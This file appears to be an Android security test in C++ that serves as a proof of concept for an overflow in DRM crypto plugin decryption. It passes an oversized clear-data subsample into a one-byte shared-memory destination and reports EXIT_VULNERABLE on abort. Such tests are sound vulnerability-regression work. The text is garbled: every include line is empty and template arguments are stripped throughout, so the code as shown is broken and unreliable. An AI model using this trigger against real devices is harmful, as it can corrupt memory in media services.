/** * Copyright (C) 2019 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "../includes/common.h" using namespace android; using namespace ::android::hardware::drm; using ::android::IMemoryHeap; using ::android::MemoryDealer; using ::android::sp; using ::android::hardware::fromHeap; using ::android::hardware::hidl_string; using ::android::hardware::hidl_vec; using ::android::hardware::HidlMemory; using ::android::hardware::drm::V1_0::BufferType; using ::android::hardware::drm::V1_0::DestinationBuffer; using ::android::hardware::drm::V1_0::ICryptoFactory; using ::android::hardware::drm::V1_0::ICryptoPlugin; using ::android::hardware::drm::V1_0::Mode; using ::android::hardware::drm::V1_0::Pattern; using ::android::hardware::drm::V1_0::SharedBuffer; using ::android::hardware::drm::V1_0::Status; using ::android::hardware::drm::V1_0::SubSample; namespace { uint32_t kHeapSize = 0x2000; void setHeapBase(const sp &plugin) { sp memoryDealer = new MemoryDealer(kHeapSize); sp memoryHeap = memoryDealer->getMemoryHeap(); memset(memoryHeap->getBase(), 'A', kHeapSize); sp hidlMemory = fromHeap(memoryHeap); plugin->setSharedBufferBase(*hidlMemory, 0); return; } template void decrypt(Plugin *plugin, Decrypt decrypt) { Pattern hPattern{.encryptBlocks = 0, .skipBlocks = 1}; SharedBuffer hSource{.bufferId = 0, .offset = 0, .size = kHeapSize}; hidl_vec subSamples{ {.numBytesOfClearData = kHeapSize, .numBytesOfEncryptedData = 0}}; DestinationBuffer hDestination{ .type = BufferType::SHARED_MEMORY, .nonsecureMemory = {.bufferId = 0, .offset = kHeapSize - 1, .size = 1}}; (plugin->*decrypt)( false, {}, {}, Mode::UNENCRYPTED, hPattern, subSamples, hSource, 0, hDestination, [&](Status_ err, uint32_t, hidl_string msg) { if (err != static_cast(V1_0::Status::BAD_VALUE) && err != static_cast(V1_0::Status::ERROR_DRM_UNKNOWN) && err != static_cast(V1_2::Status::ERROR_DRM_FRAME_TOO_LARGE)) { ALOGE("OVERFLOW DETECTED %d %s\n", err, msg.c_str()); } }); } } // namespace static void handler(int) { ALOGI("Good, the test condition has been triggered"); exit(EXIT_VULNERABLE); } int main() { const uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02, 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b}; signal(SIGABRT, handler); for (const auto &plugin : DrmUtils::MakeCryptoPlugins(uuid, nullptr, 0)) { setHeapBase(plugin); decrypt(plugin.get(), &V1_0::ICryptoPlugin::decrypt); sp plugin_1_2 = V1_2::ICryptoPlugin::castFrom(plugin); if (plugin_1_2.get()) { decrypt(plugin_1_2.get(), &V1_2::ICryptoPlugin::decrypt_1_2); } } return 0; }